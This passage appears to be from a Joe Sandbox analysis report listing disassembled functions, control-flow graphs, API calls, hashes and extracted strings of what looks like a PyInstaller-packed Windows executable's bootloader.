                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2295610775-0
                                                                                                                                                                                                                                              • Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                              • Instruction ID: 76f49f0b4e14a1917f0b307388c9e70502cdc3814abfd053d9ae5be082e3ed03
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8EF0C862A1C741C6F7A09F60B44977AB350AB8C324F844335D9BD066D4EF7CD0489BA0
                                                                                                                                                                                                                                              Function 00007FF7FD750938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentFeaturePresentProcessProcessor
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1010374628-0
                                                                                                                                                                                                                                              • Opcode ID: bad501610014e1cdc6c499c7082c31cf8545e120da90287810ba884d6b5c72a5
                                                                                                                                                                                                                                              • Instruction ID: 4e97bbff3eb5c24940fcd31131504b2b6c0af1dadea5334b35b692b0a53ef2b0
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bad501610014e1cdc6c499c7082c31cf8545e120da90287810ba884d6b5c72a5
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F7027C21A1D64280FB55BB119405379A690AF4EBA0FD94635ED7D4E3D2FE3CB40193F2
                                                                                                                                                                                                                                              Function 00007FF7FD731950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 329 7ff7fd731950-7ff7fd73198b call 7ff7fd7345b0 332 7ff7fd731c4e-7ff7fd731c72 call 7ff7fd73c5c0 329->332 333 7ff7fd731991-7ff7fd7319d1 call 7ff7fd737f80 329->333 338 7ff7fd7319d7-7ff7fd7319e7 call 7ff7fd740744 333->338 339 7ff7fd731c3b-7ff7fd731c3e call 7ff7fd7400bc 333->339 344 7ff7fd7319e9-7ff7fd731a03 call 7ff7fd744f78 call 7ff7fd732910 338->344 345 7ff7fd731a08-7ff7fd731a24 call 7ff7fd74040c 338->345 343 7ff7fd731c43-7ff7fd731c4b 339->343 343->332 344->339 350 7ff7fd731a45-7ff7fd731a5a call 7ff7fd744f98 345->350 351 7ff7fd731a26-7ff7fd731a40 call 7ff7fd744f78 call 7ff7fd732910 345->351 359 7ff7fd731a7b-7ff7fd731afc call 7ff7fd731c80 * 2 call 7ff7fd740744 350->359 360 7ff7fd731a5c-7ff7fd731a76 call 7ff7fd744f78 call 7ff7fd732910 350->360 351->339 371 7ff7fd731b01-7ff7fd731b14 call 7ff7fd744fb4 359->371 360->339 374 7ff7fd731b35-7ff7fd731b4e call 7ff7fd74040c 371->374 375 7ff7fd731b16-7ff7fd731b30 call 7ff7fd744f78 call 7ff7fd732910 371->375 381 7ff7fd731b6f-7ff7fd731b8b call 7ff7fd740180 374->381 382 7ff7fd731b50-7ff7fd731b6a call 7ff7fd744f78 call 7ff7fd732910 374->382 375->339 389 7ff7fd731b8d-7ff7fd731b99 call 7ff7fd732710 381->389 390 7ff7fd731b9e-7ff7fd731bac 381->390 382->339 389->339 390->339 393 7ff7fd731bb2-7ff7fd731bb9 390->393 395 7ff7fd731bc1-7ff7fd731bc7 393->395 396 7ff7fd731bc9-7ff7fd731bd6 395->396 397 7ff7fd731be0-7ff7fd731bef 395->397 398 7ff7fd731bf1-7ff7fd731bfa 396->398 397->397 397->398 399 7ff7fd731bfc-7ff7fd731bff 398->399 400 7ff7fd731c0f 398->400 399->400 401 7ff7fd731c01-7ff7fd731c04 399->401 402 7ff7fd731c11-7ff7fd731c24 400->402 401->400 403 7ff7fd731c06-7ff7fd731c09 401->403 404 7ff7fd731c2d-7ff7fd731c39 402->404 405 7ff7fd731c26 402->405 403->400 406 7ff7fd731c0b-7ff7fd731c0d 403->406 404->339 404->395 405->404 406->402
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD737F80: _fread_nolock.LIBCMT ref: 00007FF7FD73802A
                                                                                                                                                                                                                                              • _fread_nolock.LIBCMT ref: 00007FF7FD731A1B
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD732910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7FD731B6A), ref: 00007FF7FD73295E
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _fread_nolock$CurrentProcess
                                                                                                                                                                                                                                              • String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
                                                                                                                                                                                                                                              • API String ID: 2397952137-3497178890
                                                                                                                                                                                                                                              • Opcode ID: 108a8d02a6157e670ce837df6f512bb3cf3af97172153b5a289a747e10b990d7
                                                                                                                                                                                                                                              • Instruction ID: 8a6f4a69bad28e62d3f507de8f86d82c7e4aa56a233fd5c3f4523c912f6af849
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 108a8d02a6157e670ce837df6f512bb3cf3af97172153b5a289a747e10b990d7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3B819E72A0C68685EB20EB24D0443B9A3A0AF4D784FC44432E9AD4B7C5FEBDE54597F1
                                                                                                                                                                                                                                              Function 00007FF7FD731600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 407 7ff7fd731600-7ff7fd731611 408 7ff7fd731637-7ff7fd731651 call 7ff7fd7345b0 407->408 409 7ff7fd731613-7ff7fd73161c call 7ff7fd731050 407->409 416 7ff7fd731682-7ff7fd73169c call 7ff7fd7345b0 408->416 417 7ff7fd731653-7ff7fd731681 call 7ff7fd744f78 call 7ff7fd732910 408->417 414 7ff7fd73162e-7ff7fd731636 409->414 415 7ff7fd73161e-7ff7fd731629 call 7ff7fd732710 409->415 415->414 424 7ff7fd7316b8-7ff7fd7316cf call 7ff7fd740744 416->424 425 7ff7fd73169e-7ff7fd7316b3 call 7ff7fd732710 416->425 432 7ff7fd7316f9-7ff7fd7316fd 424->432 433 7ff7fd7316d1-7ff7fd7316f4 call 7ff7fd744f78 call 7ff7fd732910 424->433 431 7ff7fd731821-7ff7fd731824 call 7ff7fd7400bc 425->431 438 7ff7fd731829-7ff7fd73183b 431->438 436 7ff7fd731717-7ff7fd731737 call 7ff7fd744fb4 432->436 437 7ff7fd7316ff-7ff7fd73170b call 7ff7fd731210 432->437 448 7ff7fd731819-7ff7fd73181c call 7ff7fd7400bc 433->448 445 7ff7fd731739-7ff7fd73175c call 7ff7fd744f78 call 7ff7fd732910 436->445 446 7ff7fd731761-7ff7fd73176c 436->446 443 7ff7fd731710-7ff7fd731712 437->443 443->448 461 7ff7fd73180f-7ff7fd731814 445->461 450 7ff7fd731802-7ff7fd73180a call 7ff7fd744fa0 446->450 451 7ff7fd731772-7ff7fd731777 446->451 448->431 450->461 454 7ff7fd731780-7ff7fd7317a2 call 7ff7fd74040c 451->454 462 7ff7fd7317da-7ff7fd7317e6 call 7ff7fd744f78 454->462 463 7ff7fd7317a4-7ff7fd7317bc call 7ff7fd740b4c 454->463 461->448 468 7ff7fd7317ed-7ff7fd7317f8 call 7ff7fd732910 462->468 469 7ff7fd7317be-7ff7fd7317c1 463->469 470 7ff7fd7317c5-7ff7fd7317d8 call 7ff7fd744f78 463->470 476 7ff7fd7317fd 468->476 469->454 473 7ff7fd7317c3 469->473 470->468 473->476 476->450
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-1550345328
                                                                                                                                                                                                                                              • Opcode ID: 4c4f57570c96911f8988b3eadf4b516915a9d1fc1d6a92d49b2ab5855c3148e8
                                                                                                                                                                                                                                              • Instruction ID: a7c9fea942f0ad2a43b7e0b8370639d625c1586dc91ef3ca4987415360f59a95
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4c4f57570c96911f8988b3eadf4b516915a9d1fc1d6a92d49b2ab5855c3148e8
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 08516822A0C64692EB10BB5294002B9A3A0BF49794FC44531EE2C0B6D6FEBCF555A7F0
                                                                                                                                                                                                                                              Function 00007FF7FD738850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetTempPathW.KERNEL32(?,?,00000000,00007FF7FD733CBB), ref: 00007FF7FD7388F4
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,00000000,00007FF7FD733CBB), ref: 00007FF7FD7388FA
                                                                                                                                                                                                                                              • CreateDirectoryW.KERNELBASE(?,00000000,00007FF7FD733CBB), ref: 00007FF7FD73893C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738A20: GetEnvironmentVariableW.KERNEL32(00007FF7FD73388E), ref: 00007FF7FD738A57
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7FD738A79
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD7482A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FD7482C1
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD732810: MessageBoxW.USER32 ref: 00007FF7FD7328EA
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
                                                                                                                                                                                                                                              • API String ID: 3563477958-1339014028
                                                                                                                                                                                                                                              • Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
                                                                                                                                                                                                                                              • Instruction ID: caba292b52418ed5551cff431fb0809327c6cd286cf73ce73020b0fb869737ba
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6241B112A1D65285EB11BB22A8552FAD290AF8D784FC44031ED2D4F7DAFE7CE504A3F1
                                                                                                                                                                                                                                              Function 00007FF7FD731210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 754 7ff7fd731210-7ff7fd73126d call 7ff7fd73bdf0 757 7ff7fd731297-7ff7fd7312af call 7ff7fd744fb4 754->757 758 7ff7fd73126f-7ff7fd731296 call 7ff7fd732710 754->758 763 7ff7fd7312b1-7ff7fd7312cf call 7ff7fd744f78 call 7ff7fd732910 757->763 764 7ff7fd7312d4-7ff7fd7312e4 call 7ff7fd744fb4 757->764 776 7ff7fd731439-7ff7fd73144e call 7ff7fd73bad0 call 7ff7fd744fa0 * 2 763->776 770 7ff7fd731309-7ff7fd73131b 764->770 771 7ff7fd7312e6-7ff7fd731304 call 7ff7fd744f78 call 7ff7fd732910 764->771 774 7ff7fd731320-7ff7fd731345 call 7ff7fd74040c 770->774 771->776 782 7ff7fd73134b-7ff7fd731355 call 7ff7fd740180 774->782 783 7ff7fd731431 774->783 791 7ff7fd731453-7ff7fd73146d 776->791 782->783 790 7ff7fd73135b-7ff7fd731367 782->790 783->776 792 7ff7fd731370-7ff7fd731398 call 7ff7fd73a230 790->792 795 7ff7fd73139a-7ff7fd73139d 792->795 796 7ff7fd731416-7ff7fd73142c call 7ff7fd732710 792->796 797 7ff7fd731411 795->797 798 7ff7fd73139f-7ff7fd7313a9 795->798 796->783 797->796 800 7ff7fd7313ab-7ff7fd7313b9 call 7ff7fd740b4c 798->800 801 7ff7fd7313d4-7ff7fd7313d7 798->801 807 7ff7fd7313be-7ff7fd7313c1 800->807 802 7ff7fd7313d9-7ff7fd7313e7 call 7ff7fd759ea0 801->802 803 7ff7fd7313ea-7ff7fd7313ef 801->803 802->803 803->792 806 7ff7fd7313f5-7ff7fd7313f8 803->806 809 7ff7fd7313fa-7ff7fd7313fd 806->809 810 7ff7fd73140c-7ff7fd73140f 806->810 811 7ff7fd7313cf-7ff7fd7313d2 807->811 812 7ff7fd7313c3-7ff7fd7313cd call 7ff7fd740180 807->812 809->796 813 7ff7fd7313ff-7ff7fd731407 809->813 810->783 811->796 812->803 812->811 813->774
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-2813020118
                                                                                                                                                                                                                                              • Opcode ID: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
                                                                                                                                                                                                                                              • Instruction ID: b8e026f2919f32513092abf222a2f7af00ece6221b2f6fe72f02f0a01981ff39
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5203fde90a14cfca52878d148793ed0f56fa2f4a03ba52266beea290f2c18543
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6D51AE23A0CA8285E761BB12A4003BAA390BF89794FC44535ED6D4B7C9FE7CE50197F0
                                                                                                                                                                                                                                              Function 00007FF7FD74ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FreeLibrary.KERNEL32(?,?,?,00007FF7FD74F11A,?,?,-00000018,00007FF7FD74ADC3,?,?,?,00007FF7FD74ACBA,?,?,?,00007FF7FD745FAE), ref: 00007FF7FD74EEFC
                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32(?,?,?,00007FF7FD74F11A,?,?,-00000018,00007FF7FD74ADC3,?,?,?,00007FF7FD74ACBA,?,?,?,00007FF7FD745FAE), ref: 00007FF7FD74EF08
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: AddressFreeLibraryProc
                                                                                                                                                                                                                                              • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                                              • API String ID: 3013587201-537541572
                                                                                                                                                                                                                                              • Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                              • Instruction ID: cfcdbc4fd282aa25e56c4238e91d9b5197804ec7c0a7019f63c51cfc78870562
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5841AE21B1DA12C1FB16EB169808676A291BF4EBA0FC84539DD2D4B7C4FE3DE44582F0
                                                                                                                                                                                                                                              Function 00007FF7FD7336B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetModuleFileNameW.KERNEL32(?,00007FF7FD733804), ref: 00007FF7FD7336E1
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,00007FF7FD733804), ref: 00007FF7FD7336EB
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD732C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FD733706,?,00007FF7FD733804), ref: 00007FF7FD732C9E
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD732C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FD733706,?,00007FF7FD733804), ref: 00007FF7FD732D63
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD732C50: MessageBoxW.USER32 ref: 00007FF7FD732D99
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
                                                                                                                                                                                                                                              • String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
                                                                                                                                                                                                                                              • API String ID: 3187769757-2863816727
                                                                                                                                                                                                                                              • Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                              • Instruction ID: c159c0c15f2176f8371251be1ee2efd5a41f65ef9f0ee41f384bd5cf2d797172
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 72212C62B1C64281FB20BB25E8553BAA350AF8C394FC04232E57D8A6D5FE6CE505D7F1
                                                                                                                                                                                                                                              Function 00007FF7FD74BACC Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
